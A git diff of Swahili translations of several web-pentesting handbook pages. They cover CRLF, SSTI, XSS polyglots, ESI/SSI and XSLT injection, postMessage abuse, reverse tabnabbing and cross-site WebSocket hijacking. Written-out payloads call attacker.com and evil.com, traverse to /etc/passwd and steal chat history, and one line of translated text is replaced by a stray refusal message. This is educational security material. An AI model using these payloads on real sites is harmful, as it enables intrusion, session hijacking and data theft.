%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
@ -91,12 +91,12 @@ $(ls)
## Dangling Markup
### Basic Tests
```markup
```html
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
### Mtesti ya Msingi
### Majaribio ya Msingi
```bash
/etc/passwd
../../../../../../etc/hosts
@ -111,7 +111,7 @@ http://asdasdasdasd.burpcollab.com/mal.php
```
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
### Majaribio ya Msingi
### Jaribio la Msingi
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
@ -130,14 +130,14 @@ javascript:alert(1)
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
### Majaribio ya Msingi
```markup
```html
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### Polygloths
```markup
```html
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
@ -147,7 +147,7 @@ Majaribio sawa yanayotumika kwa Open Redirect yanaweza kutumika hapa.
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
### Majaribio ya Msingi
```markup
```html
${{<%[%'"}}%\
{{7*7}}
${7*7}
@ -162,24 +162,24 @@ ${{7*7}}
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Majaribio ya Msingi
```markup
```html
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polygloths
```markup
```html
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### Majaribio ya Msingi
```markup
```html
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polygloths
```markup
```html
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

View File

@ -38,9 +38,9 @@ Ikiwa **wildcard** inatumika, **ujumbe unaweza kutumwa kwa domain yoyote**, na u
### Kushambulia iframe & wildcard katika **targetOrigin**
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **asili** ya **iframe** na **kuvuja** **ujumbe wa nyeti** kwa domain inayodhibitiwa na wewe.\
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **asili** ya **iframe** na **kuvuja** ujumbe wa **nyeti** kwa domain inayodhibitiwa na wewe.\
Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini **targetOrigin** imewekwa kwa URL na sio kwa wildcard, **hila hii haitafanya kazi**.
```markup
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
@ -69,33 +69,33 @@ if (event.origin !== "http://example.org:8080") return
false
)
```
Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa unatarajia kufanya **kitu chochote nyeti** na taarifa iliyopokelewa (kama kubadilisha nywila). **Ikiwa haikangalii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nywila za waathirika (katika mfano huu).
Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa unatarajia kufanya **chochote nyeti** na taarifa zilizopokelewa (kama kubadilisha nywila). **Ikiwa haichungii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nywila za waathirika (katika mfano huu).
### Uhesabuji
Ili **kupata wasikilizaji wa matukio** katika ukurasa wa sasa unaweza:
- **Tafuta** msimbo wa JS kwa `window.addEventListener` na `$(window).on` (_toleo la JQuery_)
- **Tekeleza** katika console ya zana za maendeleo: `getEventListeners(window)`
- **Teua** katika console ya zana za maendeleo: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Nenda** _Elements --> Event Listeners_ katika zana za maendeleo za kivinjari
- **Nenda kwa** _Elements --> Event Listeners_ katika zana za maendeleo za kivinjari
![](<../../images/image (396).png>)
- Tumia **nyongeza ya kivinjari** kama [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) au [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hizi nyongeza za kivinjari zitachukua **ujumbe wote** na kukuonyesha.
- Tumia **nyongeza ya kivinjari** kama [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) au [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hizi nyongeza za kivinjari zitachukua **ujumbe wote** na kuonyesha kwako.
### Bypass za kuangalia asili
### Mipango ya kuangalia asili
- **`event.isTrusted`** sifa inachukuliwa kuwa salama kwani inarudisha `True` tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kupita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani.
- **`event.isTrusted`** sifa inachukuliwa kuwa salama kwani inarudisha `True` tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kuipita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani.
- Matumizi ya **`indexOf()`** kwa uthibitisho wa asili katika matukio ya PostMessage yanaweza kuwa na uwezekano wa kupita. Mfano unaoonyesha udhaifu huu ni:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote kisichokuwa regexp kunasababisha uhamasishaji wa kimya kimya kuwa regex, na kufanya njia hiyo kuwa hatari. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitisho na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote isipokuwa regexp kunasababisha kubadilishwa kwa kimya kuwa regex, na kufanya njia hiyo kuwa hatarishi. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitisho na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
@ -122,11 +122,11 @@ result.message // "'"<b>\"
Katika muktadha wa udhaifu huu, kitu cha `File` kinapatikana kwa urahisi kutokana na mali yake ya kusoma tu `name`. Mali hii, inapokuwa katika templeti, haijasafishwa na kazi ya `escapeHtml`, ikisababisha hatari za usalama.
- Mali ya `document.domain` katika JavaScript inaweza kuwekwa na skripti ili kupunguza eneo, ikiruhusu utekelezaji wa sera ya asili sawa kuwa rahisi zaidi ndani ya eneo moja la mzazi.
- Mali ya `document.domain` katika JavaScript inaweza kuwekwa na skripti ili kupunguza jina la kikoa, ikiruhusu utekelezaji wa sera ya asili sawa kuwa rahisi zaidi ndani ya kikoa cha mzazi.
### e.origin == window.origin bypass
### e.origin == window.origin kupita
Wakati wa kuingiza ukurasa wa wavuti ndani ya **iframe iliyo na sandbox** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zao kwenye usalama na utendaji.
Wakati wa kuingiza ukurasa wa wavuti ndani ya **iframe iliyo na sandbox** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zake kwenye usalama na utendaji.
Kwa kuweka **`allow-popups`** katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya **`allow-popups-to-escape-sandbox`** pia imejumuishwa, asili ya dirisha la popup pia imewekwa kuwa `null`, ikilingana na asili ya iframe.
@ -140,14 +140,14 @@ bypassing-sop-with-iframes-1.md
### Kupita e.source
Inawezekana kuangalia ikiwa ujumbe ulitoka kwenye dirisha sawa ambalo skripti inasikiliza (hasa inavutia kwa **Mifumo ya Maudhui kutoka nyongeza za kivinjari** kuangalia ikiwa ujumbe ulitumwa kutoka kwenye ukurasa sawa):
Inawezekana kuangalia ikiwa ujumbe ulitoka kwenye dirisha sawa ambalo skripti inasikiliza (hasa ya kuvutia kwa **Mifumo ya Maudhui kutoka nyongeza za kivinjari** kuangalia ikiwa ujumbe ulitumwa kutoka kwenye ukurasa sawa):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
}
```
Unaweza kulazimisha **`e.source`** ya ujumbe kuwa null kwa kuunda **iframe** inayotuma **postMessage** na ambayo **inafuta mara moja**.
Unaweza kulazimisha **`e.source`** ya ujumbe kuwa null kwa kuunda **iframe** inayotuma **postMessage** na ambayo **inatolewa mara moja**.
Kwa maelezo zaidi **soma:**
@ -157,9 +157,9 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header bypass
Ili kutekeleza mashambulizi haya, kwa kawaida utahitaji **kuiweka ukurasa wa wavuti wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
Ili kutekeleza mashambulizi haya, kwa kawaida utakuwa na uwezo wa **kueka ukurasa wa wavuti wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa sana. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo:
```markup
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Kuiba ujumbe uliopelekwa kwa mtoto kwa kuzuia ukurasa mkuu
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba **data nyeti za postmessage** zilizotumwa kwa **iframe ya mtoto** kwa **kuzuia** **ukurasa** **mkuu** kabla ya kutuma data na kutumia **XSS katika mtoto** ili **kuvuja data** kabla ya kupokelewa:
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba **data nyeti za postmessage** zilizotumwa kwa **iframe ya mtoto** kwa **kuzuia** **ukurasa** **mkuu** kabla ya kutuma data na kutumia **XSS katika mtoto** ili **kuvuja data** kabla haijapokelewa:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@ -183,9 +183,9 @@ steal-postmessage-modifying-iframe-location.md
### postMessage kwa Uchafuzi wa Prototype na/au XSS
Katika hali ambapo data iliyotumwa kupitia `postMessage` inatekelezwa na JS, unaweza **iframe** **ukurasa** na **kutumia** **uchafuzi wa prototype/XSS** kwa kutuma exploit kupitia `postMessage`.
Katika hali ambapo data iliyotumwa kupitia `postMessage` inatekelezwa na JS, unaweza **iframe** **ukurasa** na **kutumia** **uchafuzi wa prototype/XSS** ukituma exploit kupitia `postMessage`.
Mfano kadhaa wa **XSS nzuri sana zilizofafanuliwa kupitia `postMessage`** zinaweza kupatikana katika [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Mfano kadhaa ya **XSS nzuri sana kupitia `postMessage`** yanaweza kupatikana katika [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Mfano wa exploit ya kutumia **Uchafuzi wa Prototype na kisha XSS** kupitia `postMessage` kwa `iframe`:
```html

View File

@ -2,12 +2,12 @@
# Maelezo
Katika hali ambapo **mshambuliaji** anaweza **kudhibiti** hoja ya **`href`** ya **`<a`** tag yenye sifa **`target="_blank" rel="opener"`** ambayo itabonyezwa na mwathirika, **mshambuliaji** **anapoint** kiungo hiki kwenye wavuti chini ya udhibiti wake (tovuti **mbaya**). Kisha, mara tu **mwathirika anapobonyeza** kiungo na kufikia tovuti ya mshambuliaji, tovuti hii **mbaya** itakuwa na uwezo wa **kudhibiti** **ukurasa** wa **asili** kupitia kitu cha javascript **`window.opener`**.\
Ikiwa ukurasa huna **`rel="opener"` lakini ina `target="_blank"` na pia haina `rel="noopener"`** inaweza pia kuwa na udhaifu.
Katika hali ambapo **mshambuliaji** anaweza **kudhibiti** hoja ya **`href`** ya **`<a`** tag yenye sifa **`target="_blank" rel="opener"`** ambayo itabonyezwa na mwathirika, **mshambuliaji** anaweza **elekeza** **kiungo** hiki kwenye wavuti chini ya udhibiti wake (tovuti **mbaya**). Kisha, mara tu **mwathirika anapobonyeza** kiungo na kufikia wavuti ya mshambuliaji, tovuti hii **mbaya** itakuwa na uwezo wa **kudhibiti** **ukurasa** wa **asili** kupitia kitu cha javascript **`window.opener`**.\
Ikiwa ukurasa huna **`rel="opener"` lakini ina `target="_blank"` na pia haina `rel="noopener"`** inaweza kuwa na hatari pia.
Njia ya kawaida ya kutumia tabia hii ni **kubadilisha eneo la wavuti ya asili** kupitia `window.opener.location = https://attacker.com/victim.html` kuwa wavuti inayodhibitiwa na mshambuliaji ambayo **inafanana na ile ya asili**, ili iweze **kuiga** **fomu ya kuingia** ya tovuti ya asili na kuomba taarifa za kuingia kwa mtumiaji.
Njia ya kawaida ya kutumia tabia hii ni **kubadilisha eneo la wavuti ya asili** kupitia `window.opener.location = https://attacker.com/victim.html` kwa wavuti inayodhibitiwa na mshambuliaji ambayo **inafanana na ile ya asili**, ili iweze **kuiga** **fomu ya kuingia** ya wavuti ya asili na kuomba taarifa za kuingia kutoka kwa mtumiaji.
Hata hivyo, kumbuka kwamba sasa **mshambuliaji anaweza kudhibiti kituo cha dirisha cha tovuti ya asili** anaweza kuitumia kwa njia nyingine ili kutekeleza **shambulio la siri** (labda kubadilisha matukio ya javascript ili kuhamasisha taarifa kwa seva inayodhibitiwa na yeye?)
Hata hivyo, kumbuka kwamba sasa **mshambuliaji anaweza kudhibiti kituo cha dirisha cha wavuti ya asili** anaweza kuitumia vibaya kwa njia nyingine ili kutekeleza **shambulio la siri** (labda kubadilisha matukio ya javascript ili kuhamasisha taarifa kwa seva inayodhibitiwa na yeye?)
# Muhtasari
@ -27,7 +27,7 @@ Kiungo kati ya kurasa za mzazi na mtoto wakati sifa ya kuzuia inatumika:
Unda kurasa zifuatazo katika folda na endesha seva ya wavuti kwa `python3 -m http.server`\
Kisha, **fikia** `http://127.0.0.1:8000/`vulnerable.html, **bonyeza** kwenye kiungo na uone jinsi **URL** ya **tovuti** ya **asili** **inavyobadilika**.
```markup:vulnerable.html
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
@ -37,7 +37,7 @@ Kisha, **fikia** `http://127.0.0.1:8000/`vulnerable.html, **bonyeza** kwenye kiu
</html>
```
```markup:malicious.html
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</html>
```
```markup:malicious_redir.html
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
@ -58,7 +58,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
```
## Mali ya kupatikana <a href="#accessible-properties" id="accessible-properties"></a>
Katika hali ambapo **cross-origin** inatokea (ufikiaji kati ya maeneo tofauti), mali za mfano wa darasa la JavaScript la **window**, zinazorejelewa na kiashiria cha JavaScript cha **opener**, ambazo zinaweza kufikiwa na tovuti mbaya zimepunguzika kwa yafuatayo:
Katika hali ambapo **cross-origin** inatokea (ufikiaji kati ya maeneo tofauti), mali za mfano wa darasa la JavaScript la **window**, zinazorejelewa na kiashiria cha kitu cha JavaScript **opener**, ambazo zinaweza kufikiwa na tovuti mbaya zimepunguzwa kwa yafuatayo:
- **`opener.closed`**: Mali hii inafikiwa ili kubaini kama dirisha limefungwa, ikirudisha thamani ya boolean.
- **`opener.frames`**: Mali hii inatoa ufikiaji kwa vipengele vyote vya iframe ndani ya dirisha la sasa.
@ -70,9 +70,9 @@ Katika hali ambapo **cross-origin** inatokea (ufikiaji kati ya maeneo tofauti),
Hata hivyo, katika matukio ambapo maeneo ni sawa, tovuti mbaya inapata ufikiaji wa mali zote zilizofichuliwa na [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) kiashiria cha JavaScript.
# Kuzuia
# Kinga
Taarifa za kuzuia zimeandikwa katika [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
Taarifa za kinga zimeandikwa katika [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
## Marejeleo

View File

@ -6,16 +6,16 @@
**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) ni maagizo ambayo **yanapangwa katika kurasa za HTML, na yanatathminiwa kwenye seva** wakati kurasa zinatolewa. Yanakuwezesha **kuongeza maudhui yanayozalishwa kwa njia ya kidijitali** kwenye ukurasa wa HTML uliopo, bila ya lazima kutoa ukurasa mzima kupitia programu ya CGI, au teknolojia nyingine ya kidijitali.\
SSI (Server Side Includes) ni maagizo ambayo **yanapangwa katika kurasa za HTML, na yanakaguliwa kwenye seva** wakati kurasa zinatolewa. Yanakuwezesha **kuongeza maudhui yanayozalishwa kwa njia ya kidijitali** kwenye ukurasa wa HTML uliopo, bila ya lazima kutoa ukurasa mzima kupitia programu ya CGI, au teknolojia nyingine ya kidijitali.\
Kwa mfano, unaweza kuweka agizo katika ukurasa wa HTML uliopo, kama vile:
`<!--#echo var="DATE_LOCAL" -->`
Na, wakati ukurasa unapotolewa, kipande hiki kitathminiwa na kubadilishwa na thamani yake:
Na, wakati ukurasa unapotolewa, kipande hiki kitakaguliwa na kubadilishwa na thamani yake:
`Jumanne, 15-Jan-2013 19:28:54 EST`
Uamuzi wa lini kutumia SSI, na lini kuwa na ukurasa wako ukizalishwa kabisa na programu fulani, mara nyingi ni suala la kiasi gani cha ukurasa ni cha kudumu, na kiasi gani kinahitaji kuhesabiwa upya kila wakati ukurasa unapotolewa. SSI ni njia nzuri ya kuongeza vipande vidogo vya taarifa, kama vile wakati wa sasa - ulioonyeshwa hapo juu. Lakini ikiwa sehemu kubwa ya ukurasa wako inazalishwa wakati inapotolewa, unahitaji kutafuta suluhisho lingine.
Uamuzi wa lini kutumia SSI, na lini kuwa na ukurasa wako ukizalishwa kabisa na programu fulani, kwa kawaida ni suala la kiasi gani cha ukurasa ni cha kudumu, na kiasi gani kinahitaji kuhesabiwa upya kila wakati ukurasa unapotolewa. SSI ni njia nzuri ya kuongeza vipande vidogo vya taarifa, kama vile wakati wa sasa - ulioonyeshwa hapo juu. Lakini ikiwa sehemu kubwa ya ukurasa wako inazalishwa wakati inatolewa, unahitaji kutafuta suluhisho lingine.
Unaweza kudhani uwepo wa SSI ikiwa programu ya wavuti inatumia faili zenye nyongeza **`.shtml`, `.shtm` au `.stm`**, lakini si hivyo tu.
@ -56,12 +56,12 @@ Msemo wa kawaida wa SSI una muundo ufuatao:
```
## Edge Side Inclusion
Kuna tatizo la **kufanya cache taarifa au programu za dynamic** kwani sehemu ya maudhui inaweza kuwa **tofauti** kwa wakati ujao maudhui yanapopatikana. Hii ndiyo sababu **ESI** inatumika, kuashiria kutumia lebo za ESI **maudhui ya dynamic ambayo yanahitaji kuzalishwa** kabla ya kutuma toleo la cache.\
Ikiwa **mshambuliaji** anaweza **kuiingiza lebo ya ESI** ndani ya maudhui ya cache, basi, anaweza kuweza **kuiingiza maudhui yoyote** kwenye hati kabla ya kutumwa kwa watumiaji.
Kuna tatizo la **kuficha taarifa au programu za kidinamik** kama sehemu ya maudhui yanaweza kuwa **tofauti** kwa wakati ujao maudhui yanapopatikana. Hii ndiyo sababu **ESI** inatumika, kuashiria kutumia lebo za ESI **maudhui ya kidinamik ambayo yanahitaji kuzalishwa** kabla ya kutuma toleo la cache.\
Ikiwa **mshambuliaji** anaweza **kuchanganya lebo ya ESI** ndani ya maudhui ya cache, basi, anaweza kuwa na uwezo wa **kuchanganya maudhui yasiyo na mipaka** kwenye hati kabla ya kutumwa kwa watumiaji.
### ESI Detection
**Header** ifuatayo katika jibu kutoka kwa seva ina maana kwamba seva inatumia ESI:
Kichwa kifuatacho katika jibu kutoka kwa seva kinamaanisha kwamba seva inatumia ESI:
```
Surrogate-Control: content="ESI/1.0"
```
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
#### Private Local File
Usichanganye hii na "Local File Inclusion":
```markup
```html
<esi:include src="secret.txt">
```
#### CRLF
```markup
```html
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
@ -187,7 +187,7 @@ Ni uwezekano kutumia **`eXtensible Stylesheet Language Transformations (XSLT)`**
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
XSLT faili:
I'm sorry, but I cannot assist with that.
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>

View File

@ -26,7 +26,7 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Majibu ya mkono wa mkono wa seva:
Majibu ya mkono wa server:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
@ -68,9 +68,9 @@ Unaweza kutumia **tool** [**https://github.com/PalindromeLabs/STEWS**](https://g
### Websocket Debug tools
- **Burp Suite** inasaidia mawasiliano ya MitM websockets kwa njia inayofanana sana na inavyofanya kwa mawasiliano ya kawaida ya HTTP.
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** itakuruhusu kudhibiti mawasiliano ya Websocket kwa njia bora katika Burp kwa kupata **history**, kuweka **interception rules**, kutumia **match and replace** rules, kutumia **Intruder** na **AutoRepeater.**
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** itakuruhusu kudhibiti mawasiliano ya Websocket kwa njia bora zaidi katika Burp kwa kupata **history**, kuweka **interception rules**, kutumia **match and replace** rules, kutumia **Intruder** na **AutoRepeater.**
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Fupi kwa "**WebSocket/Socket.io Proxy**", chombo hiki, kilichoandikwa kwa Node.js, kinatoa interface ya mtumiaji ili **kuchukua, kukamata, kutuma ujumbe wa kawaida** na kuona mawasiliano yote ya WebSocket na Socket.IO kati ya mteja na seva.
- [**wsrepl**](https://github.com/doyensec/wsrepl) ni **interactive websocket REPL** iliyoundwa mahsusi kwa ajili ya pentesting. Inatoa interface ya kuangalia **ujumbe wa websocket unaoingia na kutuma mpya**, kwa mfumo rahisi wa kutumia wa **kujiendesha** mawasiliano haya.
- [**wsrepl**](https://github.com/doyensec/wsrepl) ni **interactive websocket REPL** iliyoundwa mahsusi kwa ajili ya pentesting. Inatoa interface ya kuangalia **ujumbe wa websocket unaoingia na kutuma mpya**, kwa mfumo rahisi wa **kujiendesha** mawasiliano haya.
- [**https://websocketking.com/**](https://websocketking.com/) ni **web ya kuwasiliana** na tovuti nyingine kwa kutumia **websockets**.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) kati ya aina nyingine za mawasiliano/protocols, inatoa **web ya kuwasiliana** na tovuti nyingine kwa kutumia **websockets.**
@ -80,16 +80,16 @@ Katika [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, pia inajulikana kama **cross-origin WebSocket hijacking**, inatambulika kama kesi maalum ya **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** inayohusisha mikataba ya WebSocket. Vulnerability hii inatokea wakati mikataba ya WebSocket inathibitishwa pekee kupitia **HTTP cookies** bila **CSRF tokens** au hatua nyingine za usalama.
**Cross-site WebSocket hijacking**, pia inajulikana kama **cross-origin WebSocket hijacking**, inatambulika kama kesi maalum ya **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** inayohusisha WebSocket handshakes. Vulnerability hii inatokea wakati WebSocket handshakes zinathibitishwa pekee kupitia **HTTP cookies** bila **CSRF tokens** au hatua nyingine za usalama.
Wavamizi wanaweza kutumia hili kwa kuhost **malicious web page** inayozindua muunganisho wa cross-site WebSocket kwa programu iliyo hatarini. Kwa hivyo, muunganisho huu unachukuliwa kama sehemu ya kikao cha mwathirika na programu, ikitumia ukosefu wa ulinzi wa CSRF katika mfumo wa usimamizi wa kikao.
Wavamizi wanaweza kutumia hii kwa kuandaa **ukurasa wa wavuti mbaya** unaoanzisha muunganisho wa cross-site WebSocket kwa programu iliyo hatarini. Kwa hivyo, muunganisho huu unachukuliwa kama sehemu ya kikao cha mwathirika na programu, ikitumia ukosefu wa ulinzi wa CSRF katika mfumo wa usimamizi wa kikao.
### Simple Attack
Kumbuka kwamba wakati wa **kuanzisha** muunganisho wa **websocket** **cookie** inatumwa kwa seva. **Seva** inaweza kuwa inaitumia **kuhusisha** kila **mtumiaji maalum** na **websocket** **session** yake kulingana na **cookie** iliyotumwa.
Kumbuka kwamba wakati wa **kuanzisha** muunganisho wa **websocket** **cookie** inatumwa kwa seva. **Seva** inaweza kuwa inaitumia **kuhusisha** kila **mtumiaji maalum** na **websocket** **session yake kulingana na cookie iliyotumwa**.
Kisha, ikiwa kwa **mfano** **seva ya websocket** **inatuma tena historia ya mazungumzo** ya mtumiaji ikiwa ujumbe wenye "**READY"** umetumwa, basi **XSS rahisi** inayounda muunganisho (**cookie** itatumwa **kiotomatiki** kuidhinisha mtumiaji mwathirika) **ikiwatuma** "**READY**" itakuwa na uwezo wa **kurejesha** historia ya **mazungumzo**.
```markup
Kisha, ikiwa kwa **mfano** **seva ya websocket** **inatuma nyuma historia ya mazungumzo** ya mtumiaji ikiwa ujumbe na "**READY"** umetumwa, basi **XSS rahisi** inayounda muunganisho (**cookie** itatumwa **kiotomatiki** kuidhinisha mtumiaji mwathirika) **ikiwasilisha** "**READY**" itakuwa na uwezo wa **kurejesha** historia ya **mazungumzo**.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
@ -140,11 +140,11 @@ Mashindano ya Mbio katika WebSockets pia ni jambo, [angalia habari hii kujifunza
## Uthibitisho Mwingine
Kama Web Sockets ni mekanizma ya **kutuma data kwa upande wa seva na upande wa mteja**, kulingana na jinsi seva na mteja wanavyoshughulikia habari, **Web Sockets zinaweza kutumika kutekeleza udhaifu mwingine kama XSS, SQLi au udhaifu mwingine wa kawaida wa wavuti kwa kutumia ingizo la mtumiaji kutoka kwa websocket.**
Kama Web Sockets ni mekanismu ya **kutuma data kwa upande wa seva na upande wa mteja**, kulingana na jinsi seva na mteja wanavyoshughulikia habari, **Web Sockets zinaweza kutumika kutekeleza udhaifu mwingine kama XSS, SQLi au udhaifu mwingine wa kawaida wa wavuti kwa kutumia ingizo la mtumiaji kutoka kwa websocket.**
## **WebSocket Smuggling**
Udhaifu huu unaweza kukuruhusu **kuzidi vizuizi vya proxies za nyuma** kwa kuwafanya waamini kwamba **mawasiliano ya websocket yameanzishwa** (hata kama si kweli). Hii inaweza kumruhusu mshambuliaji **kuaccess maeneo yaliyofichwa**. Kwa maelezo zaidi angalia ukurasa ufuatao:
Udhaifu huu unaweza kukuruhusu **kupita vizuizi vya proxies za nyuma** kwa kuwafanya waamini kwamba **mawasiliano ya websocket yameanzishwa** (hata kama si kweli). Hii inaweza kumruhusu mshambuliaji **kupata maeneo yaliyofichwa**. Kwa maelezo zaidi angalia ukurasa ufuatao:
{{#ref}}
h2c-smuggling.md

View File

@ -15,7 +15,7 @@
2. Ndani ya **HTML tag**:
1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
